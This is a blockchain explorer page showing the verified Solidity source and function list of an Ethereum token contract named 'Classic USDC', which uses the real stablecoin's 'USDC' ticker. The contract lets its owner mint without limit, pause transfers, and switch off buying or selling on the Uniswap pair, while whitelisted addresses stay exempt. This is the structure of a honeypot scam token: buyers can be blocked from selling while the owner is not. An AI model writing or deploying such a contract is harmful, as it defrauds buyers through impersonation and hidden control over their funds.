Address Contract Partially Verified
Address
0x74E588a642F447755eae59554C8b96359305Cd9c
Balance
0 ETH
Nonce
1
Code Size
11035 bytes
Creator
0x7F295A1f...C1C5 at tx 0x2e24030c...2fe20b
Indexed Transactions
0
Contract Bytecode
11035 bytes
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Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
ClassicUSDC.sol 262 lines
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.30;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract ClassicUSDC is ERC20, Ownable {
address public immutable uniswapV2Pair;
IUniswapV2Router02 public uniswapV2Router;
bool public transfersPaused = false;
bool public buyingEnabled = true;
bool public sellingEnabled = true;
mapping(address => bool) public transferWhitelist;
mapping(address => bool) public buyWhitelist;
mapping(address => bool) public sellWhitelist;
event TransfersPausedUpdated(bool paused);
event BuyingEnabledUpdated(bool enabled);
event SellingEnabledUpdated(bool enabled);
event WhitelistedForTransfer(address indexed account, bool isWhitelisted);
event WhitelistedForBuying(address indexed account, bool isWhitelisted);
event WhitelistedForSelling(address indexed account, bool isWhitelisted);
constructor(address _owner) ERC20("Classic USDC", "USDC") {
// Uniswap V2 router on Ethereum Mainnet
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_mint(_owner, 50_000_000_000 * (10**18)); // 50 billion tokens
transferOwnership(_owner);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
function toggleTransfersPaused(bool _paused) public onlyOwner {
transfersPaused = _paused;
emit TransfersPausedUpdated(_paused);
}
function toggleBuyingEnabled(bool _enabled) public onlyOwner {
buyingEnabled = _enabled;
emit BuyingEnabledUpdated(_enabled);
}
function toggleSellingEnabled(bool _enabled) public onlyOwner {
sellingEnabled = _enabled;
emit SellingEnabledUpdated(_enabled);
}
function whitelistForTransfers(address _account, bool _whitelisted) public onlyOwner {
transferWhitelist[_account] = _whitelisted;
emit WhitelistedForTransfer(_account, _whitelisted);
}
function whitelistForBuying(address _account, bool _whitelisted) public onlyOwner {
buyWhitelist[_account] = _whitelisted;
emit WhitelistedForBuying(_account, _whitelisted);
}
function whitelistForSelling(address _account, bool _whitelisted) public onlyOwner {
sellWhitelist[_account] = _whitelisted;
emit WhitelistedForSelling(_account, _whitelisted);
}
function _transfer(address from, address to, uint256 amount) internal override {
if (from != uniswapV2Pair && to != uniswapV2Pair) {
require(!transfersPaused || from == owner() || to == owner() || transferWhitelist[from] || transferWhitelist[to], "Transfers are paused");
}
if (from == uniswapV2Pair && to != owner() && !buyWhitelist[to]) {
require(buyingEnabled, "Buying is disabled");
}
if (to == uniswapV2Pair && from != owner() && !sellWhitelist[from]) {
require(sellingEnabled, "Selling is disabled");
}
super._transfer(from, to, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyWhitelist 0x63bb7076 → bool
buyingEnabled 0x8ed2fe91 → bool
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellWhitelist 0x42bf9bae → bool
sellingEnabled 0xf771cb65 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
transferWhitelist 0x7ffbe241 → bool
transfersPaused 0x4563f30a → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 14 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
mint 0x40c10f19
address account
uint256 amount
renounceOwnership 0x715018a6
No parameters
toggleBuyingEnabled 0x8775438a
bool _enabled
toggleSellingEnabled 0x011f8361
bool _enabled
toggleTransfersPaused 0xfcadce9d
bool _paused
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
whitelistForBuying 0xa569a156
address _account
bool _whitelisted
whitelistForSelling 0x2908ff9f
address _account
bool _whitelisted
whitelistForTransfers 0xefd52db7
address _account
bool _whitelisted
Recent Transactions
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